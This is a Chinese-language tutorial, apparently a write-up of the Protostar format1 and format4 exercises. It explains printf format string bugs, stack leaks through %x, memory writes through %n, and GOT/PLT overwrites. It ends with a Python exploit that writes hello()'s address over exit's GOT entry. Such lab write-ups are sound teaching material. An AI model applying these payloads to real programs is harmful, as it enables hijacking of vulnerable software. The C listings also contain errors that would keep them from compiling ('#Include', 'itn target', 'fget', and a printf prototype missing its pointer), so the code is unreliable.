什么是格式字符串
C中最常见最著名的函数是printf,printf将会格式化输出数据到stdout。
int printf(const char format, …);
printf读取格式字符串并找到’%’, %*决定了后面跟着的参数的类型。
format1.c
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#Include <stdlib.h>
int target ;
void vuln(char *string){
printf(string);
if (target) {
printf("You have modified the target: \n");
}
}
int main(int argc, char *argv[]){
vuln(argv[1]);
}
对于format1而言,如何才能控制target值。先来尝试打印一下argv[1]的内容。
我们将堆栈的地址打印了出来…函数的调用方式就是将将参数放在堆栈上,然后调用该函数。因此,当我们使用printf函数,打印的变量是在堆栈上,显然我们读取了printf在堆栈中的随机存储内容。
我们可以做什么?首先,它是一个内存泄露漏洞,可以从堆栈中泄露很多内容。想象一下你有一个ASLR的程序,这意味着堆栈在内存中位置是随机的。你不知到它在哪里,但你需要缓冲区溢出的地址跳转到shellcode。通过这个方法,你能从进程内存中泄露值,具体来说是从堆栈中,因此可能存在堆栈地址泄露。然后可以在第二步中使用缓冲区溢出。
在format1的情况下,如何利用它来修改target的值。目前看来只能利用堆栈泄露值。查看一下printf的帮助手册,在BUGS部分有介绍到:如果printf输入的内容来自一个不受信任的用户,它可以通过包含%n,printf调用写入内存从而导致一个安全漏洞。
%n 的作用将到目前为止写入的字符数存储到相应参数指向的位置。要找到这个位置,然后使用指针。事情变的明了了。
让我们使用objdump -t 来查看而进制文件的所有符号,找到target的地址
现在我们想要利用printf在这个位置写东西,所以必须在堆栈上利用和找到这个地址。
直接从命令行通过python -c执行脚本来协助我们打印测试字符串,通过添加一些字符"A"来确定测试printf的打印情况。
这意味着我们可以将target变量的地址添加到这里,然后使用%n替换打印此地址的%x,这需要花费一点时间。
想象一下,如果我们可以在内存中的任何地方写入覆盖一些东西。重定向代码执行。
让我们查看另外一个挑战format4,首先先查看一下代码:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
itn target;
void hello(){
printf("code execution redirected! you win\n");
_exit(1);
}
void vuln(){
char buffer[512];
fget(buffer, sizeof(buffer), stdin);
printf(buffer);
exit(1);
}
int main(int argc, char *argv[]){
vuln();
}
我们将介绍C程序如何使用像libc这样的共享库。具体来说,我们将查看全局偏移表(GOT)和过程链接表(PLT)。
一个简单的程序
int main(){
printf("Hello World!\n");
printf("This is Liveoverflow\n");
exit(0);
return 1;
}
没有做任何定义,它们来自libc,当我们编译这个文件时lic将动态链接到这个二进制文件。这意味着libc不是内部的。使用ldd
,我们可以看到二进制文件引用的动态库,还显示了libc在我们系统上的路径,这意味着libc的更新不会影响二进制文件,不需要重新编译我们的binnary。libc的基地址是随机的(ASLR)。
那么当我们必须要知道确切的地址时,如何将二进制文件编译成汇编程序呢?可以创建一个调用指令吗?这就是PLT和GOT发挥作用的地方。使用radar2反汇编这个二进制文件,看一下main函数
我们的printf()函数不见了,多出两个puts()调用(编译优化)。
启用ASLR,libc的位置将始终是随机的,但二进制文件中全局偏移量地址始终是固定的,所以,当可以读取全局偏移表的条目时,该表是libc的一个地址,然后可以使用它来计算libc的其它位置的偏移量。
在protostar format4的代码中发现vuln函数的最后执行的exit(1),这意味着函数永远无法返回,而是执行内核的syscall退出,这将退出程序。因此,我们像之前一样覆盖函数的返回指针,我们将无法利用它。
这里要覆盖上面提到的GOT表,我们要将GOT的exit地址覆盖为hello函数的地址。
懒的解释了,直接附上exp
import struct
HELLO = 0x80484b4
EXIT_PLT = 0x8049724
def pad(s):
return s+"X"*(512-len(s))
exploit = ""
exploit += struct.pack("I",EXIT_PLT)
exploit += struct.pack("I",EXIT_PLT+2)
exploit += "BBBBCCCC"
exploit += "%4$33956x"
exploit += "%4$n"
exploit += "%33616x"
exploit += "%5$n"
print pad(exploit)